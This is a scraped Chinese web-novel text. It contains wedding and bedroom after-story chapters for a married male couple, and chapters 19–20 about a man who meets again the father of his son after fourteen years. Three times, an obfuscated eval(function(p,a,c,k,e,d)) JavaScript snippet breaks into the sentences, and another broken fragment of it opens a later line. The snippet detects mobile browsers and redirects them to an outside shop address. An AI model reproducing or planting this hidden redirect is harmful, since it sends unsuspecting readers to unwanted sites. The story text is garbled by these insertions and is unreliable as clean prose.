阳光穿过教堂的彩绘玻璃,落在李意年身上,他穿着一身干净合身的白色礼服,蓬松的卷发被轻轻打理过,整个人干净得像刚从童话里走出来。 陆厌站在他面前,一身黑色西装,平日里冷硬的眉眼,此刻温柔得几乎要化开来。 他伸手,轻轻握住李意年微凉的手。 “害怕吗?” 李意年轻轻摇头,眼眶却先红了。 他从没想过,自己这样的人,也能有一场婚礼。 从没想过,有人会愿意把全世界最郑重的承诺,捧到他面前。 神父念誓词的时候,李意年听得不太真切,满脑子都是小时候的画面—— 那个站在蛋糕店外闻香味的小孩, 那个挨完打躲在角落哭的小孩, 那个以为自己一辈子都要还债、不配被爱的小孩。 原来真的会有一个人, 跨过所有黑暗,专程来爱他。 陆厌看着他泛红的眼眶,指尖轻轻擦过他的眼角,低声在他耳边说: “以后,再也没有人能让你受委屈。” “家我给你,安全感我给你,爱也全部给你。” 交换戒指的那一刻,陆厌低头,轻轻吻住他。 不是掠夺,不是占有,是极轻、极温柔的一吻,像在对待毕生珍宝。 礼成。 走出教堂时,风里都是花香。 李意年被陆厌牵着手,走在铺满花瓣的小路上,忽然小声开口: “陆厌。” “嗯?” “我现在……很幸福。” 陆厌停下脚步,转身把他拥进怀里,下巴抵在他发顶,声音低沉而坚定: “这只是开始。” “以后每一年,我都会让你比现在更幸福。” 阳光正好,微风不燥。 那个曾经连一块蛋糕都成遗憾、连家都没有的小孩, 终于在遥远的法兰西, 拥有了属于自己的、一辈子的归宿 篇外篇·甜点 凌晨三点的卧室还浸在暖光里。 李意年刚拍完那张自拍,还没来得及把手机放下,身后就传来了熟悉的脚步声。 陆厌刚处理完工作回来,黑色衬衫的袖口挽到小臂,带着一点深夜的凉意。他扫过床上的人,喉结轻轻滚了一下。 李意年今天特意穿了那身白色洛丽塔,蕾丝束腰勾勒出清瘦的腰线,颈间的蕾丝项圈衬得皮肤更白,头上的蝴蝶结和头纱软乎乎的,像只被精心打扮过的小玩偶。 他是专门穿给陆厌看的。 “我饿了。” 陆厌的声音低沉,带着一点刻意的哑,目光落在李意年泛红的耳尖上。 李意年还在回味自拍里的自己,闻言抬头,卷毛蹭着头纱,乖乖问:“想吃什么?我去给你煮面好不好?” 他刚要撑着坐起来,手腕就被轻轻按住。 陆厌俯身,指尖擦过他颈间的蕾丝,声音贴着他的耳廓,低得像耳语: “想吃你。” 李意年的脸“唰”地红透,连耳尖都烧了起来。 他下意识往床里缩了缩,却被陆厌伸手捞进怀里。 “特意穿成这样,不就是想让我吃?” 陆厌的指尖轻轻勾了勾他颈间的蝴蝶结,语气里带着笑意,又带着不容拒绝的占有欲,“小骗子。” 李意年埋在他怀里,手指攥着他的衬衫,小声嘟囔:“我、我就是想让你看看……” “看到了。” 陆厌低头,吻了吻他泛红的眼尾,声音温柔又危险,“好看得想把你拆吃入腹。” 床幔轻轻晃动,头纱上的蝴蝶结歪到了一边。 李意年的手抓着陆厌的肩,睫毛颤得像蝴蝶的翅膀,连呼吸都带着甜软的颤音。 原来所谓的夜宵,从来都不是厨房里的热汤面。 是他精心打扮好,主动送到陆厌面前的、最甜的那一份。 天刚蒙蒙亮,卧室里还裹着一层淡金色的柔光。 李意年还赖在被窝里,卷毛睡得乱糟糟的,昨晚精心打理的头纱歪在一边,颈间的蕾丝项圈也松垮垮地挂着,那身白色洛丽塔早被撕得不成样子,碎蕾丝和缎带散在床单上。 他整个人缩在陆厌怀里,脸颊蹭着对方温热的胸膛,呼吸轻浅,还没醒透。 陆厌醒得早,没急着起身,就这么抱着怀里软乎乎的人,指尖轻轻梳理着他炸毛的卷毛,目光落在他颈间淡红的印子上,喉间溢出一声低笑。 李意年被他的笑声扰得动了动,睫毛颤了颤,迷迷糊糊地睁开眼,声音还带着刚睡醒的沙哑和奶气:“……嗯?” “醒了?”陆厌低头,在他发顶轻轻吻了一下,语气里带着毫不掩饰的笑意,“昨晚的夜宵,很好吃。” 李意年愣了两秒,才反应过来他在说什么,脸“唰”地一下红透,连耳根都烧了起来。他下意识往陆厌怀里钻,用被子蒙住头,只露出一双湿漉漉的眼睛,小声嘟囔:“你、你流氓……” “嗯?”陆厌故意逗他,指尖轻轻勾了勾他松垮的项圈,“是谁昨晚穿着小裙子,主动躺好等我吃的?” “我没有!”李意年的声音闷在被子里,又急又羞,“我就是、就是想让你看看……” “看到了。”陆厌把他从被子里捞出来,让他趴在自己胸口,指尖擦过他泛红的耳尖,语气又软又沉,“好看得我差点没忍住。” 李意年埋在他怀里,手指轻轻揪着他的睡衣,小声问:“那……你还想吃吗?” 陆厌低笑出声,抱着他的手臂收紧,低头吻了吻他的发旋:“等你醒透了,再给我吃。” 窗外的阳光慢慢爬进卧室,落在两人交叠的身影上。 昨晚的余温还没散,新的一天,又要被满溢的温柔填满了。 早餐桌铺着米白色桌布,阳光斜斜切进来,落在刚端上来的草莓奶油蛋糕上。 李意年还穿着陆厌的 oversized 白衬衫,领口松松垮垮,露出颈间淡红的印子,头发乱糟糟的,像只刚睡醒的小奶猫。他乖乖坐在陆厌身边,看着对方用银叉切下一块蛋糕,递到自己嘴边。 “啊——”陆厌的声音带着笑意,指尖还沾着一点淡粉的奶油。 李意年张口咬住,甜香在舌尖化开,眼睛弯成小月牙。可下一秒,陆厌故意把奶油蹭在了他的嘴角,像颗小小的奶糖。 “你故意的!”李意年鼓着腮帮子,伸手去擦,却被陆厌攥住手腕。 陆厌低头,用舌尖轻轻舔掉他嘴角的奶油,吻得又轻又痒。李意年的脸“唰”地红透,小声吐槽:“……昨天那条洛丽塔,我特意挑的,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261114|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么说撕就撕了。” 陆厌舔了舔唇,眼底笑意更深,语气理所当然:“因为影响我进食了。” 李意年愣了一下,才反应过来他说的“进食”是什么,耳尖瞬间烧得滚烫,埋着头小声嘟囔:“流氓……” “只对你流氓。”陆厌又切了一块蛋糕,这次却自己先咬了一口,然后俯身吻住他,把甜香渡进他嘴里,“再说,撕了可以再买。” 他指尖擦过李意年泛红的眼尾,声音温柔又霸道:“你想要多少条洛丽塔,我都给你买。” “但下次,”陆厌咬了咬他的下唇,低笑,“别穿得那么勾人,我怕又忍不住撕。” 李意年埋在他怀里,手指揪着他的衬衫,连耳朵尖都透着粉。 桌上的蛋糕还冒着甜香,窗外的风轻轻晃着窗帘。 原来最好的早餐,从来都不是蛋糕上的奶油。 是被人捧在手心里,连撒娇都有回应的温柔。 午后的阳光暖得像融化的蜂蜜,陆厌牵着李意年的手,走进了那家藏在老巷里的定制店。 玻璃门叮铃一响,浓郁的蕾丝与缎面气息扑面而来。货架上挂着层层叠叠的洛丽塔裙,每一条都精致得像艺术品。李意年的眼睛亮了亮,却又有点不好意思地往陆厌身后缩了缩。 “随便挑。”陆厌揉了揉他的卷毛,语气随意得像在逛超市,“喜欢哪条,都给你订。” 店员是个见怪不怪的小姐姐,笑着递来几本画册:“先生看看喜欢什么风格?我们这里有复古款、甜系款,还有蕾丝特别多的重工款。” 李意年翻着画册,指尖在一条白色蕾丝款上停住了——层层叠叠的欧根纱,胸口和裙摆缀着细密的珍珠,颈间还有配套的蕾丝颈饰,和昨晚那条很像,却更精致。 他刚要开口,陆厌已经先一步对店员说:“就这条,拿他的尺码。” 试衣间的帘子拉上,李意年对着镜子,有点手忙脚乱地系着背后的缎带。这条裙子的蕾丝比昨晚那条更密,贴在皮肤上软乎乎的,像被云朵裹住。 “好了吗?”陆厌的声音在外面响起,带着笑意,“我进来了?” “别!”李意年的声音有点慌,“我还没系好……” 话音刚落,帘子就被轻轻掀开。陆厌靠在门框上,目光落在他身上,喉结轻轻滚了一下。 李意年背对着他,纤细的腰肢被束腰勾勒得清晰,层层蕾丝从腰侧垂落,颈间的颈饰衬得皮肤白得发光。他回头,有点窘迫地咬着唇:“你怎么进来了……” “看看我的小宝贝穿得好不好看。”陆厌走过去,从身后轻轻环住他,下巴抵在他发顶,指尖擦过他腰侧的蕾丝,语气低哑又带着戏谑,“这条蕾丝更多,更软……比昨晚那条,更适合被我撕。” 李意年的脸“唰”地红透,连耳尖都烧了起来。他挣扎着要躲开,却被陆厌抱得更紧。 “别乱动。”陆厌吻了吻他的耳尖,声音又软又沉,“逗你的。这么好看的裙子,我舍不得撕。” 他顿了顿,指尖轻轻勾了勾他颈间的蕾丝,补充道:“除非,你又故意勾我。” 李意年埋在他怀里,小声嘟囔:“谁要勾你……” “那你穿这么好看,是给谁看?”陆厌低笑,“嗯?” 试衣间的镜子里,映出两人交叠的身影。李意年的卷毛蹭在陆厌的颈间,蕾丝裙上的珍珠在光下闪着细碎的光,像一场甜到发腻的梦。 走出定制店时,李意年手里抱着装着新裙子的礼盒,脚步都有点飘。陆厌牵着他的手,指尖轻轻摩挲着他的指节。 “下次穿给我看。”陆厌侧头看他,眼底笑意温柔,“只穿给我看。” 李意年轻轻“嗯”了一声,把礼盒抱得更紧了。 风里都是甜香,像他此刻的心情。 19. 儿子,我是你爸爸·一 午后的阳光被薄云滤得温软,斜斜洒在老街青石板路上,落在街角那家刚开不久的「慢焦」甜品铺玻璃门上。 铺主楚沐焦正靠在店内唯一的懒人沙发上,额前碎发被薄汗濡湿,贴在光洁的额头上。细框金丝眼镜依旧架在眉骨,只是眼下泛着淡淡的青黑,眼尾那层惯常的慵懒雾色,被低烧烧得添了几分浑浊的红。 他是真的懒,连开店都挑了这么个僻静的街角,每日只做几样不甜的清润甜品,卖完就关门瘫着,活成了十四年前最想拥有的模样。只是昨夜受了凉,感冒缠上身,低烧烧得浑身发软,连抬手给自己倒杯温水都觉得费力气。 撑着最后一点力气锁了店门,楚沐焦裹了件米白色的高领毛衣,慢悠悠往街尾的药店走。毛衣领口松松垮垮滑到肩侧,他也懒得抬手去拉,脚步轻飘,每一步都像踩在棉花上,依旧是那副漫不经心、连生病都透着股敷衍的样子。 空气里飘着他身上十四年来从未换过的香水味,清冷淡雅,像雪后初晴的松木,又裹着一丝极淡的暖香,是独属于楚沐焦的味道,当年缠在裴霖的衬衫上,浸在裴家客厅的沙发缝里,刻进了某个人十四年都没忘的记忆里。 药店内冷气开得刚好,货架整齐排列,消毒水的淡味冲淡了外界的燥热。楚沐焦扶着货架缓了缓神,低烧让他视线有些发虚,正眯着眼找感冒药时,一道清冽又带着锋芒的少年音,先一步撞进耳朵。 “阿姨,拿一盒退烧贴,再要一盒感康。” 声音干净,却自带一股不容置喙的笃定,像傍晚球场上刮过的风,利落又张扬。 楚沐焦下意识抬眼。 入目是个身形挺拔的少年,看着不过十四岁的年纪,冷白皮肤,下颌线已经初显利落的轮廓,眼型偏圆,眼尾微微上扬,眼神明亮得晃眼,正微微抬着下巴和药师说话,周身那股“我即是主角”的侵略性,隔着几步远都能清晰感受到。 是裴意然。 他刚结束篮球训练,额角还带着薄汗,校服外套搭在臂弯,领口松垮,露出纤细却有力的脖颈。他是独自来买感冒药的,裴霖从不会对他嘘寒问暖,更不会陪他来药店,从小到大,他早已习惯了自己处理所有事。 四目相对的瞬间,两人都顿了顿。 楚沐焦看着少年,只觉得这孩子生得极好,眉眼间有种说不出的熟悉感,像极了某块被他深埋心底十四年的软玉,可低烧混沌的脑子,压根没往那处想。他只是淡淡扫了一眼,便收回目光,懒得多看陌生人,伸手去拿最上层的感冒药,指尖因为发烧微微发颤。 裴意然也在看眼前的男人。 男人戴着细框金丝眼镜,眉眼清冷,眼尾微微下垂,周身裹着一股慵懒散漫的气息,连抬手拿药都透着股懒得用力的敷衍。明明是病着的状态,侧脸线条干净锋利,禁欲感里藏着一丝不易察觉的媚态,像蒙着一层雾,让人忍不住多看两眼。 更让裴意然微怔的是,男人身上的香水味。 清冽的松木混着淡暖的香,莫名的熟悉,像是从小就刻在嗅觉里的味道,可他想破了头,也记不起在哪里闻过。裴霖身上从不用香水,家里也从没有过这样的味道,可这气息,却让他心底莫名泛起一丝说不清道不明的酸胀。 少年人的锋芒从不收敛,裴意然皱了皱眉,直白地打量了楚沐焦两眼,见他脸色苍白,拿药时手都在晃,便知他病得不轻。他本就不是多管闲事的性子,收回目光,接过药师递来的药,付了钱,转身就往外走。 擦肩而过的瞬间,楚沐焦身上的香水味更浓了些,缠上裴意然的袖口,像一根细针,轻轻扎了一下他的心口。 少年脚步顿都没顿,径直走出药店,留下一道利落又张扬的背影。 楚沐焦也终于拿到了药,指尖触到药盒的微凉,才轻轻舒了口气。他懒得去想刚才那个眼熟的少年,更懒得去琢磨那一丝莫名的心悸,付了钱,拖着发软的脚步,慢慢走出药店。 阳光依旧温软,老街人来人往。 一对分别了十四年的父子,在最寻常的药店门口,擦肩而过,互不相识。 只有那缕十四年从未改变的香水味,飘在风里,像一句迟来的告白,悄然落在两人都未曾察觉的角落,等着某一天,被时光轻轻掀开。 而不远处的黑色轿车内,裴霖坐在后座,指尖捏着文件,目光无意间扫过药店门口,在看到那道熟悉的、慵懒散漫的身影时,握着文件的指节,骤然收紧,泛出惨白。 风里,那抹魂牵梦萦了十四年的香味,隔着车窗,轻轻钻了进来。 裴意然拎着药袋,大步穿过人行道,拉开车门钻进后排。 “爸。” 少年声线干脆,带着运动后的微喘,刚坐下,车里就漫开一缕若有若无的香气——清冽、淡暖,像雪后松林,又裹着一点极软的甜,不是他平日的味道。 裴霖垂着的眼睫猛地一震。 那气息缠上鼻尖的刹那,他周身的空气像是被瞬间冻住。 十四年了。 从楚沐焦消失那天起,他以为这辈子再也闻不到这股香水味。 裴霖抬眼,深褐色瞳孔里翻涌着连自己都未察觉的震颤,指尖死死攥着膝头的文件,指节泛白。他目光落在裴意然身上,声音压得极低,几乎是从喉咙里滚出来: “你身上……哪来的味道?” 裴意然愣了一下,低头嗅了嗅自己袖口,皱眉:“不知道,药店碰到一个人,擦肩而过沾到的。” 一个人。 裴霖心脏狠狠一缩。 他几乎是立刻推开车门,目光锐利如鹰,直直扫向药店门口。 而那道他念了整整十四年的身影,正摇摇欲坠地站在阳光下。 楚沐焦本来就发着烧,头晕得厉害,刚才在药店里撑着已经耗光力气。此刻隐约察觉到一道熟悉又压迫的视线钉在自己身上,那气息冷硬、强势,像极了刻在他骨血里的某个人。 他不敢回头。 连确认的勇气都没有。 头晕得眼前发黑,楚沐焦指尖发颤,抬手扶了扶滑到鼻尖的金丝眼镜,强撑着那点慵懒镇定,转身快步往甜品铺的方向走。每一步都虚浮,却走得决绝,像在逃离一场迟了十四年的噩梦。 裴霖望着那道单薄又熟悉的背影,喉结剧烈滚动了一下。 米白色高领,松散的姿态,连走路时微微垂着眼、懒得抬头的模样,都和记忆里的人一模一样。 “爸?”裴意然察觉到他不对劲,出声提醒,“你去哪儿?” 裴霖没有回头。 车门半开,冷风灌进来,卷起那缕挥之不去的香水味。 他只定定望着楚沐焦消失在街角的方向,眼底翻涌着失而复得的狂喜、压抑多年的痛楚,还有一丝近乎卑微的不敢置信。 他回来了。 真的回来了。 而街角那端,楚沐焦靠在冰冷的墙壁上,猛地捂住嘴,剧烈地喘了口气。 发烧带来的眩晕翻江倒海,心脏跳得快要撞碎肋骨。 他不敢想刚才车里的人是不是裴霖。 更不敢想,那个和他擦肩而过、眉眼熟悉得让人心慌的少年,是谁。 楚沐焦缓缓滑坐在墙根,金丝眼镜从鼻梁滑落,他抬手接住,指尖冰凉。 十四年了。 他以为自己足够狠,足够冷,足够放下一切。 可只是一道气息、一个背影,就让他溃不成军。 风卷过街道,那缕从未换过的香水味,再一次,悄悄缠上了两个人的命运。 裴霖站在车外,指尖冰凉,目光死死锁着楚沐焦消失的街角,直到那道身影彻底没入巷口,再也看不见。 风里那缕香气还在,淡得像幻觉,却又真实得掐得他心口发疼。 十四年。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261115|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他从最初的疯找,到后来的死寂,再到如今这猝不及防的一击,整个人像被钉在原地,连呼吸都带着颤。 “爸。” 裴意然推开车门下来,少年敏锐察觉到裴霖周身气压低得吓人。平日里冷硬淡漠的裴总,此刻肩背绷得笔直,下颌线紧抿,眼底翻涌着他从未见过的情绪——痛、慌、失魂落魄。 这根本不是那个遇事从不动容的裴霖。 “你刚在药店,碰到的是什么人?”裴霖终于开口,声音沙哑得厉害,每一个字都像是从齿缝间挤出来。 裴意然皱眉回想:“一个戴金丝眼镜的男人,看着三十多岁,脸色很白,好像生病了,走路都没力气。” 金丝眼镜。 生病。 慵懒又单薄的样子。 每一个词,都精准戳在裴霖最软的那根弦上。 是他。 真的是他。 楚沐焦。 裴霖闭了闭眼,再睁开时,眼底的慌乱已被一层冷硬的笃定覆盖。他不会再让他消失,这一次,就算绑,也要把人留在身边。 “上车。”他压着声线,语气不容拒绝。 裴意然虽疑惑,却还是乖乖坐回车内。 车子缓缓启动,没有追上去,只是安静地跟在远处,像一头蛰伏的黑豹,默默锁定猎物。 另一边。 楚沐焦靠着墙喘了半天,低烧烧得他太阳穴突突直跳,眼前一阵阵发黑。刚才那道视线太熟悉了,冷硬、强势,带着能将人看穿的穿透力——除了裴霖,不会有第二个人。 他怎么会在这? 难道裴霖也住在这条街上? 还是……刚才那个少年…… 楚沐焦不敢往下想,心脏抽着疼,连带着浑身都发软。他撑着墙,一点点站直,抬手把金丝眼镜重新戴回脸上,遮住眼底所有慌乱。 不能慌。 不能被发现。 他好不容易才从楚家那个地狱里爬出来,好不容易才过上安稳日子,绝不能再被卷进当年的漩涡里。裴霖有他的生活,有他的事业,有……有那个他从未敢相认的孩子。 楚沐焦深吸一口气,压下喉间的腥甜与哽咽,拖着发沉的身体,一步步挪回自己的甜品铺。 推开店门,他再也撑不住,直接瘫倒在那张熟悉的懒人沙发上。 沙发很软,和当年裴霖家里那张一模一样。 只是这一张,少了一个会给他盖毯子、会给他倒温水、会蹲在他面前,慢条斯理跟他讲大道理的人。 楚沐焦蜷缩起来,把脸埋进臂弯。 发烧的滚烫,抵不过心口的冰凉。 他以为自己能放下。 以为十四年足够抹平一切。 可只是擦肩而过的一瞬,只是一缕香水味,只是一道熟悉的视线,就让他所有伪装,全线崩塌。 车内。 裴霖望着那扇亮着暖光的甜品铺小门,目光深沉如夜。 “慢焦甜品铺。” 他低声念出店名,指尖轻轻敲击着膝盖,每一下,都带着压抑多年的悸动。 意然…… 刚才意然碰到他,却没认出来。 也好。 裴霖闭上眼,再睁开时,只剩势在必得的冷定。 这一次,他不会再讲大道理。 不会再让他有机会说“听烦了”。 不会再让他一个人扛下所有,悄无声息消失。 楚沐焦。 你跑了十四年。 该回来了。 车子安静停在暗处,像一头守株待兔的黑豹。 暖黄的灯光从甜品铺透出来,隔着一条老街,一头拴着藏了十四年的深情,一头拴着逃了十四年的胆怯。 风轻轻吹过。 那缕十四年未变的香水味,终于再次,将两人牢牢缠在一起。 20. 儿子,我是你爸爸·二 暮色漫过老街的檐角,暖黄的灯串在「慢焦」甜品铺门口轻轻晃着。 楚沐焦裹着薄毯蜷在懒人沙发里,低烧退了些,头依旧昏沉,鼻尖萦绕的全是药店外那道挥之不去的冷硬气息,搅得他心口发闷。他懒得起身,连睁眼都觉得费力,只把半张脸埋进柔软的毯子里,活成一滩不愿动弹的水。 店门被轻轻推开,风铃叮铃一响。 楚沐焦眼都没抬,声音懒懒散散,带着病后的沙哑,尾音拖得很长:“打烊了,明天再来。” 来人没有走。 反而反手关上了门,隔绝了外面的晚风与喧嚣,一步步,朝着他的方向走来。 沉稳、缓慢、带着不容错辨的压迫感,每一步,都像踩在楚沐焦紧绷的心弦上。 那股熟悉的冷冽气息笼罩下来,混着淡淡的雪松味,是刻在他骨血里十四年的味道。 楚沐焦搭在毯边的指尖,几不可查地蜷了一下。 他没抬头,依旧闭着眼,语气里添了层冷冰的敷衍:“我说,打烊了。” 面前的人终于停下脚步,站在沙发前,居高临下地看着他。 十四年未见,楚沐焦还是老样子。 懒,散,病弱苍白,细框金丝眼镜滑到鼻尖,露出一截光洁的额头,眼尾垂着,蒙着一层雾,明明是冷淡的模样,却依旧藏着勾人的软。只是那层软外面,裹上了厚厚的、拒人千里的冰。 裴霖喉结滚动,千言万语堵在胸口,最终只化作一声极轻的、带着哑意的呼唤:“沐焦。” 一声唤,藏了十四年的思念、痛楚、不甘、失而复得的狂喜,全都揉在里面,沉得像压了整座城。 楚沐焦终于掀了掀眼。 目光淡淡扫过他,没有惊讶,没有慌乱,甚至没有半分波澜,就像在看一个无关紧要的陌生人。 190的身高,肩宽腿长,轮廓依旧利落如刀削,颈侧那颗小痣在灯光下若隐若现,还是记忆里的模样,只是更冷,更沉,更像一头蛰伏的黑豹。 是裴霖。 真的是他。 楚沐焦收回目光,连多余的眼神都不肯给,重新闭上眼,语气淡得没有一丝温度:“先生,你认错人了。” “我没有。”裴霖蹲下身,与他平视,深褐色的瞳孔牢牢锁着他,不肯放过一丝一毫的情绪,“楚沐焦,我不会认错。” 他的声音放得很轻,带着小心翼翼的试探,生怕惊扰了眼前人。十四年了,他早已收起了所有趾高气扬,收起了那些笃定的说教,只剩下满心满眼的小心翼翼。 可楚沐焦最烦的就是这个。 烦他的靠近,烦他的执着,更烦他一出现,就把自己好不容易筑起的防线,撞得摇摇欲坠。 眉头轻轻一皱,眼尾瞬间冷了下来,原本慵懒的眼神裹上了冰碴,连说话的语气都懒得多加掩饰:“我说了,认错了。” 裴霖看着他明显不耐的模样,心口一紧,下意识就想开口——想告诉他自己找了他十四年,想告诉他意然已经长大了,想告诉他当年的事他都可以扛,想把所有道理、所有担忧、所有牵挂都掰开揉碎说给他听。 可话到嘴边,他硬生生咽了回去。 他记得。 楚沐焦最讨厌大道理。 当年他就是被一句“听烦了”,掐断了所有挽留。 如今,他不敢再说。 “我知道你不想见我。”裴霖放软了声音,语气里带着从未有过的妥协,“我只是……” “只是什么?”楚沐焦终于彻底睁开眼,抬眸看他,镜片后的眼神冷得刺人,“裴总,我们不熟,没必要在我这儿浪费时间。” 他连名带姓地叫他,疏离又客气,像在划清一道十四年都跨不过的界限。 “我不想听你说任何话,也不想知道你想干什么。”楚沐焦抬手,有气无力地指向店门,动作里全是漫不经心的驱赶,“出去,别打扰我休息。” 他是真的烦了。 烦裴霖的突然出现,烦这猝不及防的重逢,烦心底翻涌的情绪,更烦自己明明恨不起来,却只能硬着心肠装作冷漠。 裴霖看着他明显抗拒的模样,指尖微微收紧,蹲在原地没有动,目光依旧黏在他苍白的脸上,带着固执的温柔:“你在发烧,有没有吃药?要不要我……” “不用。” 楚沐焦干脆利落地打断他,语气里的不耐烦已经藏不住,连懒都懒得装了,只剩直白的驱赶:“裴霖,我最后说一次,出去。” “我不想跟你叙旧,不想听你讲任何话,更不想和你有任何牵扯。” “我们早在十四年前就算了,你听不懂吗?” 每一个字,都像细小的针,密密麻麻扎在裴霖心上。 他看着眼前人眼底的厌烦与冷漠,喉间发涩,十四年的思念在这一刻,撞得满是狼狈。 他以为重逢会是温柔,却没想到,只有毫不留情的驱赶。 楚沐焦懒得再看他,重新闭上眼,把脸彻底埋进毯子里,整个人缩成一团,摆明了一副“视而不见、赶人出门”的态度。 空气安静得可怕。 风铃不再响,灯光温柔,却暖不透两人之间冻了十四年的冰。 裴霖蹲在沙发前,久久没有起身。 他看着楚沐焦单薄的背影,看着他因为生病微微发颤的肩,看着他身上那十四年从未变过的香水味,心口又疼又软,却不敢再逼他。 良久,他才缓缓站起身,声音轻得像风:“我不吵你。” “我就在外面,你有事,随时叫我。” 脚步声轻轻响起,慢慢退向门口。 门被轻轻拉开,又轻轻合上。 风铃轻响。 楚沐焦埋在毯子里的眼,终于缓缓睁开,眼底那层伪装的冷漠,瞬间碎得一干二净,只剩下止不住的泛红。 他抬手,死死按住心口。 那里跳得太快,太疼。 裴霖。 你为什么还要来找我。 十四年了,你就不能,放过我,也放过你自己吗。 窗外。 裴霖靠在黑色的车身上,抬头望着甜品铺里那盏暖黄的灯,指尖冰凉。 他没有走。 像一头守着自己珍宝的黑豹,安安静静,寸步不离。 十四年都等了。 这一次,他不会再走。 更不会,再让楚沐焦从他眼前消失。 窗外。 裴霖还仰着头,死死盯着甜品铺那扇暖黄的窗,指尖冰凉,整个人沉在失而复得又被狠狠推开的钝痛里。 忽然,胳膊被人轻轻碰了一下。 裴意然仰着脑袋,语气有点急,又有点不敢大声:“就是,爸——” “滚。”裴霖眼都没斜,声线冷得掉冰渣,“别烦我。” 少年抿了抿唇,还是硬着头皮又凑了凑:“老爹,那个……” “我都说了,别烦我。” 裴霖侧过脸,眼神里的戾气还没散,那是刚被楚沐焦赶出来的闷火,全压在了眼底,吓得裴意然下意识往后缩了缩。 “我……”裴意然咬了咬牙,干脆破罐子破摔,“我钢琴课迟到了。” 裴霖收回目光,重新望向那扇窗,语气淡漠得像在说一件无关紧要的事: “受着。自己走过去。” 裴意然愣住了。 三十公里。 走过去? “不是吧爸?”少年难得露了点慌,锋芒都弱了一截,“你让我自己走?” 裴霖终于淡淡瞥他一眼,嘴角勾起一点没温度的弧度:“怎么,不乐意?” “没让你爬着过去,都算好的了。” 裴意然彻底懵了,不敢置信地瞪着他: “爬?!爸,这里离钢琴老师家三十公里啊!三十公里!” 裴霖眉峰一压,语气更冷: “所以?” “所以你就让我自己走过去?” “不然。”裴霖收回视线,重新牢牢锁在那扇小小的窗上,声音轻得只有自己能听见,“我还要等一个人,没空管你。” 裴意然看着他爹这副魂都被勾走的模样,再想起药店那个身上沾着奇怪香味的男人,忽然福至心灵,隐约明白了点什么。 但他不敢问。 裴霖现在的气场,生人勿近,熟人也勿近。 少年默默拎起书包,站在原地憋了半天,最终只憋出一句: “……行,你狠。” 裴霖头都没回,只淡淡丢来两个字: “快走。” 裴意然咬咬牙,转身就往公交站的方向走,走两步还不忘回头瞪一眼那个守着甜品铺、连儿子死活都不管的亲爹。 裴霖浑然不觉。 他的世界里,此刻只剩下那扇亮着灯的窗。 夜色一点点漫上来,老街的灯全亮了。 裴霖就那么守在甜品铺对面,从黄昏站到夜幕,又从站着,慢慢蹲了下来。 长腿屈起,手臂搭在膝盖上,身形依旧挺拔,却少了平日裴总那股生人勿近的凌厉,多了点近乎卑微的执拗。像一头守着洞穴不肯离开的黑豹,安安静静,目光一刻不离那扇暖黄的窗。 手机震了无数次,助理来电、工作消息、日程提醒……他看都没看,直接静音。 十四年都等过来了,这一个下午,算什么。 不知过了多久,一道挺拔又不爽的少年身影,骂骂咧咧地从公交站方向走过来。 裴意然拎着钢琴书包,脸黑得跟锅底似的。 三十公里,又是转车又是走路,折腾到现在,钢琴课都下课半小时了。他一肚子火气,回来就准备找他那个不靠谱的爹算账。 可一拐进街口,看清对面的人时,少年脚步猛地顿住,整个人都懵了。 昏黄路灯下。 他那个在外杀伐果断、气场两米八、从来只高高在上的亲爹。 此刻。 居然。 蹲在路边。 脊背微微绷着,头微微抬起,一瞬不瞬盯着甜品铺的窗户,那眼神专注又执拗,跟守着骨头不肯走的大型犬似的,半点平时的冷硬嚣张都没有。 裴意然:“……” 他甚至怀疑自己是不是走错片场了。 这还是那个说一不二、气场压人的裴总吗? 这分明是被人勾走了魂的傻狗。 少年站在原地,嘴角抽了半天,最终还是没忍住,走过去,居高临下地看着自家亲爹,语气里带着毫不掩饰的嫌弃: “……老爹,你还要不要点形象了?” “全街的人都在看你,一个大集团总裁,蹲马路边蹲一下午,跟望妻石似的,丢不丢人。” 裴霖眼皮都没抬,声音淡得没力气:“闭嘴。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261116|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我闭嘴?”裴意然气笑了,把书包往地上一扔,“我三十公里折腾回来,你搁这儿蹲着发呆?你知道别人怎么看你吗?” 裴霖终于缓缓抬眼。 深褐色的眸子里没有半点平时的威严,只有被打扰后的不耐,还有一层藏不住的疲惫。 “他们爱看就看。”他淡淡开口,目光又落回那扇窗,“我等我的人,不关他们的事。” 裴意然顺着他的目光看向甜品铺,瞬间明白了。 就是下午药店那个男人。 能把他爹变成这副鬼样子的,全世界也就这么一个了。 少年抱着胳膊,站在一旁,看着自家爹蹲在路边,一副“谁也别想打扰我”的固执模样,心里又气又好笑。 长这么大。 他第一次看见。 裴霖这么……没出息的样子。 